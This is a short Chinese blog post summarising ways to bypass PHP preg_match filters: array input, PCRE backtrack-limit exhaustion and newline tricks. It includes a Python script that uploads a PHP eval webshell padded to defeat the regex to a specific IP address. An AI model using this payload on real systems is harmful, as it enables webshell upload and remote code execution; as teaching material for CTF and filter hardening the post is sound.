码迷,mamicode.com
首页 > 其他好文 > 详细

preg_match绕过总结

时间:2020-01-15 19:42:50      阅读:380      评论:0      收藏:0      [点我收藏+]

标签:方法   header   restrict   dex   ted   requests   mamicode   leaves   pcre   

preg_match绕过总结

什么是preg_match

技术图片

技术图片

绕过方法

1、数组绕过

preg_match只能处理字符串,当传入的subject是数组时会返回false

2、PCRE回溯次数限制

PHP利用PCRE回溯次数限制绕过某些安全限制

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false

3、换行

preg_match(‘/^.*$/‘,subject),preg_match只会匹配第一行,如

if (preg_match('/^.*(flag).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
}

只需要

$json="\nflag"

preg_match绕过总结

标签:方法   header   restrict   dex   ted   requests   mamicode   leaves   pcre   

原文地址:https://www.cnblogs.com/20175211lyz/p/12198258.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!